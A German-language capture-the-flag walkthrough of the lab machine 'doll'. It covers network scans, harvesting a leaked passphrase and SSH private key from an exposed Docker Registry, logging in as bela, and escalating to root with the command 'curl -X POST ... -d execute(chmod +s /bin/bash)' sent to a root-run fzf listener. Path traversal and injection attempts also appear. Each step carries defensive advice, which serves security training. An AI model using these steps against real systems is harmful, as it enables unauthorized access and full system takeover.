Analyse: Der Standard-ARP-Scan wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu identifizieren.
Bewertung: Der Host `192.168.2.119` wird mit einer VirtualBox MAC-Adresse (`08:00:27:6e:e2:a2`) gefunden.
Empfehlung (Pentester): Führen Sie einen Port-Scan auf die gefundene IP-Adresse durch.
Empfehlung (Admin): Standard-Netzwerksicherheitsmaßnahmen.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.130
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1 00:50:56:c0:00:08 VMware, Inc.
192.168.2.2 00:50:56:f4:7d:5f VMware, Inc.
192.168.2.119 08:00:27:6e:e2:a2 PCS Systemtechnik GmbH
192.168.2.254 00:50:56:f8:46:8c VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.858 seconds (137.78 hosts/sec). 4 responded
Analyse: Ein Nmap-Scan wird auf `192.168.2.119` durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu erkennen. Die Optionen `-sS`, `-sC`, `-T5`, `-AO`, `-p-` werden verwendet.
Bewertung: Zwei Ports sind offen: * **Port 22/tcp:** SSH (OpenSSH 8.4p1 Debian). * **Port 1007/tcp:** HTTP, von Nmap als **Docker Registry (API: 2.0)** identifiziert. Dies ist der wichtigste Fund, da eine Docker Registry verschiedene Angriffsvektoren bieten kann (Image-Analyse, API-Missbrauch). Die OS-Erkennung deutet auf Linux/VirtualBox hin.
Empfehlung (Pentester): Untersuchen Sie die Docker Registry API auf Port 1007 gründlich. Versuchen Sie, Repositories aufzulisten, Images zu untersuchen oder hochzuladen.
Empfehlung (Admin): Sichern Sie die Docker Registry ab. Beschränken Sie den Zugriff, verwenden Sie Authentifizierung, wenn möglich. Stellen Sie sicher, dass keine sensiblen Informationen in den Images oder der Registry-Konfiguration vorhanden sind. Halten Sie SSH aktuell.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-28 14:08 CEST
Nmap scan report for doll (192.168.2.119)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 d732ac404ba84166d3d811496ceded4b (RSA)
| 256 810e67f8c3d2501e4d092a5811c8d495 (ECDSA)
|_ 256 0dc37c540b9d3132f2d909d3eded93cd (ED25519)
1007/tcp open http Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
MAC Address: 08:00:27:6E:E2:A2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms doll (192.168.2.119)
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.82 seconds
Analyse: `nikto` wird verwendet, um den Dienst auf Port 1007 auf bekannte Webserver-Schwachstellen zu scannen.
Bewertung: Nikto findet keine Server-Banner, aber bestätigt die Docker Registry API (`docker-distribution-api-version: registry/2.0`) und den Endpunkt `/v2/_catalog`. Es meldet die üblichen fehlenden Security Header. Wichtig ist die Bestätigung, dass es sich um eine Docker Registry handelt.
Empfehlung (Pentester): Nutzen Sie `curl` oder spezialisierte Tools, um mit der Docker Registry API v2 zu interagieren. Beginnen Sie mit dem Abruf des Katalogs (`/v2/_catalog`).
Empfehlung (Admin): Implementieren Sie fehlende Security Header (obwohl bei einer API weniger kritisch als bei einer interaktiven Webseite). Sichern Sie die Registry API selbst.
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.119
+ Target Hostname: 192.168.2.119
+ Target Port: 1007
+ Start Time: 2023-04-28 14:10:02 (GMT2)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /x4YjO1fZ.vts: Uncommon header 'docker-distribution-api-version' found, with contents: registry/2.0. # Zufälliger Dateiname, nicht relevant
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /v2/_catalog: This is the Docker Registry server. See: https://docs.docker.com/registry/
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2023-04-28 14:10:37 (GMT2) (35 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Analyse: Der Pentester greift manuell auf den von Nikto identifizierten Endpunkt `/v2/_catalog` zu (vermutlich im Browser oder mit `curl`, nicht explizit gezeigt, aber das Ergebnis wird notiert).
Bewertung: Die API gibt `{"repositories":["dolly"]}` zurück. Dies bestätigt, dass ein Repository namens `dolly` in der Registry existiert.
Empfehlung (Pentester): Untersuchen Sie das `dolly`-Repository. Listen Sie die Tags auf (`/v2/dolly/tags/list`) und inspizieren Sie die Manifeste (`/v2/dolly/manifests/[tag]`).
# Manuelle Abfrage (z.B. curl http://192.168.2.119:1007/v2/_catalog)
# Ergebnis:
{"repositories":["dolly"]}
Analyse: `gobuster` wird erneut verwendet, um Verzeichnisse auf Port 1007 zu finden.
Bewertung: Findet nur `/v2`, was der Basis-API-Pfad ist. Für die Interaktion mit der Registry API ist Directory Busting weniger nützlich als gezielte API-Abfragen.
===============================================================
Gobuster v3.5
# ... (Optionen) ...
===============================================================
Starting gobuster
===============================================================
http://192.168.2.119:1007/v2 (Status: 301) [Size: 39] [--> /v2/]
===============================================================
Finished
===============================================================
Analyse: Es werden verschiedene `curl`-Befehle verwendet, um mit der Registry zu interagieren: * `curl -Iv http://doll.hmv:1007`: HEAD-Anfrage an `/`. * `curl -Iv http://doll.hmv:1007/../../../../../../etc/passwd`: Versuchter Path Traversal. * `ssh ''@doll.hmv`: Fehlgeleiteter SSH-Versuch. * `view-source:http://.../_catalog?cmd=...`: Versuchter GET-Parameter Command Injection. * `wfuzz` mit Host-Header: Subdomain-Fuzzing. * `curl ... /v2/dolly/blobs/uploads/`: Tests von Upload-Endpunkten. * `curl ... /v2/_catalog`, `curl ... /v2/dolly/tags/list`: Korrekte API-Abfragen. * `curl ... /v2/_catalog?n=...`, `curl ... /v2/_catalog?last=...`: Tests von API-Parametern. * `docker pull`, `docker run`: Versuche, das Image mit Client-Tools zu holen.
Bewertung: Die meisten dieser Versuche sind entweder fehlgeleitet (Path Traversal, SSH-PHP-Injection, GET-Parameter-Injection auf API) oder scheitern an Fehlkonfigurationen/Missverständnissen (Upload-Pfade, Docker-Client mit HTTP statt HTTPS). Die Subdomain-Fuzzing liefert nichts. Die `docker pull/run`-Versuche scheitern am HTTPS-Problem des Clients. **Erfolgreich** sind die Standard-API-Abfragen `/v2/_catalog` und `/v2/dolly/tags/list`, die das Repository `dolly` und den Tag `latest` bestätigen.
Empfehlung (Pentester): Ignorieren Sie die fehlgeschlagenen, unpassenden Methoden. Konzentrieren Sie sich auf die funktionierenden API-Endpunkte. Der nächste logische Schritt ist das Abrufen des Manifests für `dolly:latest`.
* Trying 192.168.2.119:1007...
* Connected to doll.hmv (192.168.2.119) port 1007 (#0)
> HEAD /etc/passwd HTTP/1.1
> Host: doll.hmv:1007
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Content-Type: text/plain; charset=utf-8
< Docker-Distribution-Api-Version: registry/2.0
< X-Content-Type-Options: nosniff
< Date: Fri, 28 Apr 2023 12:21:45 GMT
< Content-Length: 19
<
* Connection #0 to host doll.hmv left intact
{"errors":[{"code":"BLOB_UPLOAD_UNKNOWN","message":"blob upload unknown to registry"}]}
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg.
Trying to pull 192.168.2.119:1007/dolly:latest...
Error: initializing source docker://192.168.2.119:1007/dolly:latest: pinging container registry 192.168.2.119:1007: Get "https://192.168.2.119:1007/v2/": http: server gave HTTP response to HTTPS client
{"repositories":["dolly"]}
{"name":"dolly","tags":["latest"]}
Analyse: Das Manifest für das Image `dolly:latest` wird über die API (`/v2/dolly/manifests/latest`) abgerufen und heruntergeladen. Anschließend wird die heruntergeladene Manifestdatei (`latest`) mit `grep` nach dem Schlüsselwort `pass` durchsucht.
Bewertung: Das Manifest wird erfolgreich heruntergeladen. Die `grep`-Suche ist erfolgreich und findet einen Eintrag in der `v1Compatibility`-Historie: `"Cmd":["ARG passwd=devilcollectsit"]}`. **Dies ist ein kritischer Fund!** Es enthüllt ein Passwort (`devilcollectsit`), das während des Image-Build-Prozesses als Argument verwendet wurde. Dieses Passwort könnte für einen SSH-Benutzer oder als Passphrase für einen SSH-Schlüssel gelten.
Empfehlung (Pentester): Merken Sie sich das Passwort `devilcollectsit`. Untersuchen Sie das Manifest weiter auf Benutzernamen oder andere Hinweise. Extrahieren und analysieren Sie die Image-Layer, die im Manifest unter `fsLayers` aufgeführt sind.
Empfehlung (Admin): **Kritische Schwachstelle!** Speichern Sie niemals Passwörter oder sensible Argumente direkt im Dockerfile (z.B. als `ARG` oder `ENV`). Verwenden Sie sicherere Methoden wie Build-Secrets oder Multi-Stage-Builds, um sensible Daten nicht im finalen Image zu hinterlassen. Überprüfen Sie alle Docker-Images auf hartkodierte Zugangsdaten oder sensible Informationen im Manifest oder den Layern.
{
"schemaVersion": 1,
"name": "dolly",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017"
},
# ... (weitere blobsums) ...
{
"blobSum": "sha256:f56be85fc22e46face30e2c3de3f7fe7c15f8fd7c4e5add29d7f64b87abdaa09"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{...},\"container\":\"10ddd...\",\"container_config\":{...},\"created\":\"2023-04-25T08:58:11.460540528Z\",\"docker_version\":\"23.0.4\",\"id\":\"89ce...\",\"os\":\"linux\",\"parent\":\"1430f...\"}"
},
{
"v1Compatibility": "{\"id\":\"1430f...\",\"parent\":\"638e...\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2023-03-29T18:19:24.45578926Z\",\"container_config\":{\"Cmd\":[\"ARG passwd=devilcollectsit\"]},\"throwaway\":true}" # Passwort gefunden!
},
# ... (weitere History-Einträge) ...
],
"signatures": [
# ... (Signaturdaten) ...
]
}
--2023-04-28 19:08:52-- http://192.168.2.119:1007/v2/dolly/manifests/latest
Verbindungsaufbau zu 192.168.2.119:1007 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 3476 (3,4K) [application/vnd.docker.distribution.manifest.v1+prettyjws]
Wird in »latest« gespeichert.
latest 100%[==============================>] 3,39K --.-KB/s in 0s
2023-04-28 19:08:52 (747 MB/s) - »latest« gespeichert [3476/3476]
"v1Compatibility": "{\"id\":\"1430f49318669ee82715886522a2f56cd3727cbb7cb93a4a753512e2ca964a15\",\"parent\":\"638e8754ced32813bcceecce2d2447a00c23f68c21ff2d7d125e40f1e65f1a89\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2023-03-29T18:19:24.45578926Z\",\"container_config\":{\"Cmd\":[\"ARG passwd=devilcollectsit\"]},\"throwaway\":true}"
Analyse: Die `blobSum`-Hashes der einzelnen Layer werden aus der Manifestdatei `latest` extrahiert und in eine Datei `blobsum` geschrieben. Anschließend werden die Layer mittels einer `for`-Schleife und `wget` heruntergeladen. Der Dateityp der heruntergeladenen Layer wird mit `file` überprüft. Ein Layer (`sha256:5f...`) wird mit `tar xvf` entpackt.
Bewertung: Die Layer werden korrekt identifiziert und heruntergeladen. `file` bestätigt, dass es sich um gzip-komprimierte Archive (tar.gz) handelt. Das Entpacken des Layers `sha256:5f...` ist erfolgreich und enthüllt eine Dateisystemstruktur, darunter `/etc/passwd`, `/etc/shadow` und `/home/bela/.ssh/id_rsa`. **Dies ist der zweite kritische Fund!** Der private SSH-Schlüssel für einen Benutzer namens `bela` befindet sich im Image.
Empfehlung (Pentester): Kombinieren Sie die beiden Funde: Verwenden Sie den privaten SSH-Schlüssel `/home/bela/.ssh/id_rsa` (aus dem entpackten Layer) und die im Manifest gefundene Passphrase `devilcollectsit`, um sich als Benutzer `bela` per SSH am Zielsystem anzumelden.
Empfehlung (Admin): **Kritische Schwachstelle!** Betten Sie niemals private SSH-Schlüssel in Docker-Images ein. Verwenden Sie sicherere Methoden zur Schlüsselverwaltung (z.B. Secrets Management Tools, sichere Übergabe zur Laufzeit). Entfernen Sie sensible Daten aus den Image-Layern vor dem Veröffentlichen.
sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:f56be85fc22e46face30e2c3de3f7fe7c15f8fd7c4e5add29d7f64b87abdaa09
# ... (wget output for downloading 4 layers) ...
sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017: gzip compressed data, original size modulo 2^32 19456
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4: gzip compressed data, original size modulo 2^32 1024
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.1: gzip compressed data, original size modulo 2^32 1024
sha256:f56be85fc22e46face30e2c3de3f7fe7c15f8fd7c4e5add29d7f64b87abdaa09: gzip compressed data, original size modulo 2^32 7337984
etc/
etc/group
etc/group-
etc/passwd
etc/passwd-
etc/shadow
etc/shadow-
home/
home/bela/
home/bela/.wh..wh..opq
home/bela/.ash_history
home/bela/.ssh/
home/bela/.ssh/id_rsa # SSH Key gefunden!
root/
root/.ash_history
insgesamt 4
drwxr-sr-x 2 cyber cyber 4096 Apr 25 10:53 .
drwxr-sr-x 3 cyber cyber 4096 Apr 25 10:53 ..
-rw-r--r-- 1 cyber cyber 2635 Apr 25 10:53 id_rsa
Analyse: Der im Docker-Layer gefundene private SSH-Schlüssel (`id_rsa`) wird mit den korrekten Berechtigungen (`chmod 600`) versehen. Anschließend wird versucht, sich per SSH als Benutzer `bela` unter Verwendung dieses Schlüssels anzumelden. Bei der Abfrage der Passphrase wird das im Docker-Manifest gefundene Passwort `devilcollectsit` eingegeben.
Bewertung: Der Login ist erfolgreich! Der Angreifer erhält eine Shell als Benutzer `bela` auf dem Zielsystem `doll`. Die Kombination aus dem geleakten Schlüssel und dem geleakten Passwort (als Passphrase) war der Schlüssel zum initialen Zugriff.
Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `bela`. Suchen Sie nach der User-Flag und nach Wegen zur Rechteausweitung (`sudo -l`, SUID-Binaries etc.).
Empfehlung (Admin): Entfernen Sie den kompromittierten SSH-Schlüssel und das Passwort. Beheben Sie die Schwachstellen in der Docker Registry und im Image-Build-Prozess.
Enter passphrase for key 'id_rsa': devilcollectsit
Linux doll 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 25 10:35:13 2023 from 192.168.0.100
Analyse: Als Benutzer `bela` werden die `sudo`-Berechtigungen überprüft (`sudo -l`).
Bewertung: **Kritischer Fund!** Der Benutzer `bela` darf `/usr/bin/fzf --listen=1337` als `ALL` (root) ohne Passwort (`NOPASSWD:`) ausführen. `fzf` ist ein Fuzzy-Finder, aber die Option `--listen` startet einen Listener, der Befehle über Netzwerk entgegennehmen und ausführen kann. Dies ist eine bekannte Methode zur Rechteausweitung.
Empfehlung (Pentester): Nutzen Sie diese `sudo`-Regel aus:
1. Bauen Sie eine SSH-Verbindung mit Local Port Forwarding auf (`ssh -L 1337:127.0.0.1:1337 ...`).
2. Führen Sie auf dem Zielsystem `sudo /usr/bin/fzf --listen=1337` aus.
3. Senden Sie von Ihrer Angreifer-Maschine einen Befehl mittels `curl` an `http://localhost:1337`, um z.B. `/bin/bash` SUID zu machen (`curl -X POST http://localhost:1337 -d 'execute(chmod +s /bin/bash)'`).
4. Führen Sie `/bin/bash -p` aus, um eine Root-Shell zu erhalten.
Empfehlung (Admin): **Höchste Priorität!** Diese `sudo`-Regel ist extrem gefährlich und muss sofort entfernt werden. Erlauben Sie Benutzern niemals, Programme wie `fzf` mit potenziell gefährlichen Optionen (`--listen`) als `root` auszuführen, schon gar nicht ohne Passwort.
Matching Defaults entries for bela on doll:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bela may run the following commands on doll:
(ALL) NOPASSWD: /usr/bin/fzf --listen\=1337
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:1007 0.0.0.0:* users:(("registry",pid=365,fd=3))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=419,fd=3))
LISTEN 0 4096 [::]:1007 [::]:* users:(("registry",pid=365,fd=4))
LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=419,fd=4))
/usr/bin/fzf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=IAiCh96vH2mpJhGn1Byw/KHX0PhGCs2UsPl3F370x/IPOfpU9VnDnl61Jy23YA/A3osMwxIbl-_B05oDBHB, stripped
Kurzbeschreibung: Dieser Proof of Concept beschreibt die Ausnutzung der unsicheren `sudo`-Regel für `fzf`, um Root-Rechte zu erlangen. Durch Starten von `fzf` mit der Option `--listen` als `root` wird ein lokaler Dienst gestartet, der Befehle entgegennimmt. Mittels SSH Local Port Forwarding wird dieser Dienst vom Angreifer-System aus erreichbar gemacht, um einen Befehl zu senden, der `/bin/bash` SUID macht.
Voraussetzungen: * Zugriff als Benutzer `bela`. * Die `sudo`-Regel `(ALL) NOPASSWD: /usr/bin/fzf --listen\=1337` muss aktiv sein. * SSH-Zugang als `bela` für Port Forwarding.
Schritt 1: SSH Port Forwarding und fzf starten
1. Auf dem Angreifer-System wird eine neue SSH-Verbindung zu `bela@doll.hmv` aufgebaut, wobei der lokale Port 1337 auf den Port 1337 des Zielsystems (bezogen auf dessen Loopback-Interface 127.0.0.1) weitergeleitet wird: `ssh -i ... -L 1337:127.0.0.1:1337`.
2. In dieser neuen SSH-Sitzung wird der `sudo`-Befehl ausgeführt, um `fzf` als `root` auf Port 1337 lauschen zu lassen: `sudo /usr/bin/fzf --listen\=1337`.
Bewertung (Schritt 1): Das Port Forwarding ist korrekt eingerichtet. Der `fzf`-Prozess läuft nun als `root` und wartet auf Befehle auf Port 1337 (localhost auf dem Ziel), welcher nun vom Angreifer über `localhost:1337` erreichbar ist.
Enter passphrase for key '/root/Doll/home/bela/.ssh/id_rsa': devilcollectsit
Linux doll 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
# ... (Login Banner) ...
Last login: Fri Apr 28 19:32:45 2023 from 192.168.2.130
Schritt 2: SUID-Bit setzen und Root-Shell erhalten
1. Auf dem Angreifer-System wird `curl` verwendet, um einen Befehl an den weitergeleiteten Port 1337 zu senden: `curl -X POST http://localhost:1337 -d 'execute(chmod +s /bin/bash)'`. Der `execute(...)`-Payload weist `fzf` an, `chmod +s /bin/bash` als `root` auszuführen.
2. In der SSH-Sitzung auf dem Zielsystem wird überprüft, ob `/bin/bash` nun das SUID-Bit hat (`ls -la /bin/bash`).
3. `/bin/bash -p` wird ausgeführt, um eine Shell zu starten, die die effektive UID (euid=0) beibehält.
4. `id` wird ausgeführt, um die Root-Rechte zu bestätigen.
Bewertung (Schritt 2): Der Exploit funktioniert perfekt. `fzf` führt den `chmod`-Befehl als `root` aus. `/bin/bash` erhält das SUID-Bit. Der Aufruf mit `/bin/bash -p` liefert eine Shell mit `euid=0(root)`. Root-Zugriff wurde erreicht!
Empfehlung (Pentester): Root-Zugriff erlangt. Suchen und lesen Sie die Root-Flag. Dokumentieren Sie den `fzf`-Exploit.
Empfehlung (Admin): **Höchste Priorität:** Entfernen Sie die unsichere `sudo`-Regel für `fzf`. Überprüfen Sie das System auf Änderungen (wie das SUID-Bit auf `/bin/bash`) und stellen Sie den ursprünglichen Zustand wieder her.
Risikobewertung: Die Kombination aus Informationslecks in der Docker Registry/Manifest und einer unsicheren `sudo`-Regel für `fzf` ermöglichte die vollständige Übernahme des Systems. Das Risiko ist **kritisch**.
-rwsr-sr-x 1 root root 1234376 mar 27 2022 /bin/bash
uid=1000(bela) gid=1000(bela) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(bela)
Analyse: Die User- und Root-Flags werden gemäß den Angaben am Ende des Originaltextes dokumentiert. Die User-Flag wurde vermutlich im Home-Verzeichnis von `bela` gefunden, die Root-Flag im Verzeichnis `/root`.
Bewertung: Beide Flags wurden erfolgreich extrahiert.